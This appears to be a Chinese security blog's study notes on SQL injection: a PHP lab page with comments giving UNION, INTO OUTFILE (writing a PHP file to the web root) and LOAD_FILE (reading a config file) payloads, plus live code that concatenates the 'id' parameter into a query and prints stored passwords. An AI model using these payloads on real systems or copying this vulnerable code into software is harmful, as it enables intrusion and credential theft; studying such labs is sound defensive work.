蜗蜗侠's Blog-关注网络安全移动版

主页 > 技术笔记 >

SQL injection - 字符串转义/Mysql对文件的读写操作

<?php
//《SQL注入攻击与防御》1.3 Page 11
//对转义字符处理不正确
//正常sql语句:SELECT * FROM user WHERE id='1
//构造攻击语句:SELECT * FROM user WHERE id='1' union select 1,2,version()''   【由于union要求列数相同 所以需要补充列数】
//修复:转义敏感字符 通过mysql_escape_string() 过滤字符
// $id=$_GET['id'];    //获取输入参数
// $id=mysql_escape_string($id);  //转义敏感字符
// $a=strpos($id,"\'");  //检查非法字符
// if($a==false){     //判断
//   $sql="SELECT * FROM user WHERE id='".$id."'";  //构造查询
// }else{
//   echo "Error";
//   exit();
// }
// echo $sql."<br/>";
//---------------------------END 2016年8月18日 17:34:08------------------------------
//《SQL注入攻击与防御》1.3 Page 13
//mysql写入文件 语句进行hex加密  写出时解密  注意单引号闭合问题。
//SELECT * FROM user WHERE id='1' union select 1,2,unhex('3c3f706870206563686f2022787878223f3e') into outfile 'D:/phpstudy/www/phpinfo.php'''
//---------------------------END 2016年8月18日 22:26:44------------------------------
//《SQL注入攻击与防御》1.3 Page 13
//mysql读取文件
//SELECT * FROM user WHERE id='1' union all select 1,2,load_file("D:/phpStudy/MySQL/my.ini")''
//--------------------------END 2016年8月18日 22:40:24-------------------------------
//连接数据库
  $coon = mysql_connect('localhost','root','root') or die('Connect Error :'.mysql_error());
  mysql_select_db('sqlinjection',$coon);
//构造语句
  $sql="SELECT * FROM user WHERE id='".$_GET['id']."'"; //传入的如果是字符串 必须加单引号
  echo $sql."<br/>";
//执行语句
  $result=mysql_query($sql) or die (mysql_error());
//var_dump($result);
//exit();
//检查返回数据数量
  $rowcount=mysql_num_rows($result);
  //var_dump($result);
  //exit();
//迭代返回数据
$row=1;
while($db=mysql_fetch_assoc($result)){
  //var_dump($db);
  if($row <= $rowcount){
    echo "id:".$db['id']."<br/>";
    echo "usernmae:".$db['username']."<br/>";
    echo "password:".$db['password']."<br/>";
    $row++;
  }
}
 ?>
(责任编辑:蜗蜗侠)